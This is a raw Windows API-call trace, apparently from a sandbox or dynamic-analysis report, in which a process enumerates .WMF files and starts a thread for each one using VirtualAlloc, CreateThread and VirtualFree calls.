	[0211.903] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105388.WMF", cAlternateFileName="")) returned 1
	[0211.903] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0211.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a8
	[0212.121] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.122] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1350, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105390.WMF", cAlternateFileName="")) returned 1
	[0212.122] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17ac
	[0212.125] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.125] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b04, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105396.WMF", cAlternateFileName="")) returned 1
	[0212.125] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b0
	[0212.127] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.128] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105398.WMF", cAlternateFileName="")) returned 1
	[0212.128] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b4
	[0212.130] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.130] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4fdc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105410.WMF", cAlternateFileName="")) returned 1
	[0212.130] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b8
	[0212.133] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.133] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105412.WMF", cAlternateFileName="")) returned 1
	[0212.133] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17bc
	[0212.136] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.136] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1864, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105414.WMF", cAlternateFileName="")) returned 1
	[0212.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c0
	[0212.138] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.139] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105490.WMF", cAlternateFileName="")) returned 1
	[0212.139] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c4
	[0212.141] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.142] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1424, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105496.WMF", cAlternateFileName="")) returned 1
	[0212.142] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c8
	[0212.145] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.145] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1560, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105502.WMF", cAlternateFileName="")) returned 1
	[0212.145] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17cc
	[0212.147] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.148] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105504.WMF", cAlternateFileName="")) returned 1
	[0212.148] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d0
	[0212.150] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.151] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105506.WMF", cAlternateFileName="")) returned 1
	[0212.151] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d4
	[0212.153] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.153] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c44, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105520.WMF", cAlternateFileName="")) returned 1
	[0212.153] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d8
	[0212.500] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.501] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105526.WMF", cAlternateFileName="")) returned 1
	[0212.501] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17dc
	[0212.504] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.505] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105530.WMF", cAlternateFileName="")) returned 1
	[0212.505] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e0
	[0212.507] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.508] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x542c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105588.WMF", cAlternateFileName="")) returned 1
	[0212.508] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e4
	[0212.510] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.511] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105600.WMF", cAlternateFileName="")) returned 1
	[0212.511] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e8
	[0212.513] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.514] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105638.WMF", cAlternateFileName="")) returned 1
	[0212.514] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17ec
	[0212.517] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.517] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105710.WMF", cAlternateFileName="")) returned 1
	[0212.518] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f0
	[0212.521] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.521] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2030, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105846.WMF", cAlternateFileName="")) returned 1
	[0212.521] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f4
	[0212.524] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.525] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105912.WMF", cAlternateFileName="")) returned 1
	[0212.525] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f8
	[0212.528] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.529] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105974.WMF", cAlternateFileName="")) returned 1
	[0212.529] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17fc
	[0212.531] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.531] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x274c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106020.WMF", cAlternateFileName="")) returned 1
	[0212.531] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1804
	[0212.951] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.952] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106124.WMF", cAlternateFileName="")) returned 1
	[0212.953] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1808
	[0212.955] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.956] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106146.WMF", cAlternateFileName="")) returned 1
	[0212.956] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180c
	[0212.959] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.960] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106208.WMF", cAlternateFileName="")) returned 1
	[0212.960] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1810
	[0212.962] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.963] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c90, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106222.WMF", cAlternateFileName="")) returned 1
	[0212.965] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1814
	[0212.968] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
